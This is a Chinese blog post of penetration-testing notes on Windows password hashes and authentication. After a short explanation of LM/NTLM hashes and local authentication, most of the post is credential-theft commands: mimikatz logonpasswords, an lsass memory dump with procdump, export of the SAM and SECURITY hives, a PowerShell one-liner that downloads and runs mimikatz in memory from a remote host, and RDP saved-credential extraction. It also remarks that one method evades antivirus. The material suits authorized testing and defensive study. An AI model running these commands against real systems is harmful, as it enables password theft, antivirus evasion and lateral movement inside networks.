WindowsHash简介及windows认证

Windows系统使用两种方法对用户的密码进行哈希处理,他们分别是LAN Manager(LM)哈希和NT LAN Manager(NTML)哈希。

现在已经有了更新的NTLMv2以及Kerberos验证体系。

Windows的系统密码hash默认情况下一般由两个部分组成:第一部分是LM-hash,第二部分是NTLM-hash

windows加密过的密码口令,我们称为hash,windows的系统密码hash默认情况下一般由两个部分组成:第一部分是LM-hash,第二部分NTLM-hash。

WINDOWS系统下hash密码格式:

用户名称:RID:LM-HASH值:NT-HASH值

Windows内网协议学习NTLM篇之NTLM基础介绍-安全客 - 安全资讯平台

可参考以上文章进行详细的学习

Windows的认证包括三个部分:

  • 本地认证:用户直接操作计算机登录账户
  • 网络认证:远程连接到工作组中的某个设备(远程连接ftp,文件共享)
  • 域认证:登录到域环境中的某个设备

Windows本地认证

1、用户输入密码

2、系统收到密码后将用户输入的密码计算成NTLM HASH

3、与sam数据库(%SystemRoot%\System32\config\sam)中该用户对比

4、匹配则登录成功,不匹配则登录失败

NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后存储在电脑中

本地认证中用来处理用户输入密码的进程位lsass.exe,密码会在这个进程中明文保存,该进程将密码计算成NTLM hash与sam进行对比,们使用mimikatz来获取的明文密码,便是在这个进程中读取到的

Windows密码凭证获取

几种windows本地hash值获取和破解详解 - SecPulse.COM | 安全脉搏

获取凭证工具:

1、Mimikatz

抓取明文密码:

mimikatz # log
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

使用mimikatz抓取密码

mimikatz.exe "log" "sekurlsa::minidump 1.dmp" "sekurlsa::logonPasswords full" exit

2、Powershell脚本

Powershell远程加载mimikatz脚本

先介绍一下powershell木马最常用的方式,一般都为远程下载然后执行的方法,特点就是:直接内存运行,无文件落地。

https://www.cnblogs.com/chen-w/p/14726549.htmlhttps://www.cnblogs.com/chen-w/p/14726549.html

powershell.exe "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))”

IEX:指内存运行

new-object  net.webclient:创建一个客户端对象,远程加载mimikatz

3、Ophcrack

我们可以 使用ophcrack工具配合彩虹表自己破解。

4、Procdump+Mimikatz

Procdump下载: https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

procdump lsass进程导出

FOR 32bits:procdump.exe -accepteula -ma lsass.exe lsass.dmp
FOR 64bits:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

使用mimikatz还原密码:

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

5、注册表导出hash

reg save HKLM\SYSTEM SYSTEM.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv
mimikatz.exe "log" "lsadump::sam /system:system.hiv /sam:sam.hiv" exit

再使用MD5进行查询MD5免费在线解密破解_MD5在线加密-SOMD5

这方法还是比较好的,可以绕过杀毒软件检测。

6、Meterpreter获取hash

7、Cobaltstrike获取hash

hashdump

logonpasswords

mimikatz  sekurlsa::logonpasswords

其他内容:

POWERSHELL脚本获取RDP连接记录

https://github.com/3gstudent/List-RDP-Connections-History

在获取内网机器管理员权限后,查看是否有保存到本地的RDP连接密码,对保存到本地的RDP连接密码进行解密, 解密成功后可使用此凭据继续横向移动。

powershell -exec bypass -f 1.ps1

如果直接运行powershell则会直接报错

本地RDP连接解密

  • 用Mimikatz解密

查看本地机器本地连接过的目标机器:

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
  • 查看本地用户此目录下是否存有RDP密码文件
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

PPTP口令获取

PPTP:点对点隧道协议,可以使远程用户通过拨入ISP访问企业内网。

在渗透测试中,如果获得了用户的PPTP口令,就能远程拨入内网,做进一步渗透。

需要拿到目标系统管理员权限

参考文章:

【渗透笔记】Windows密码凭证获取 - 灰信网(软件开发博客聚合)

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值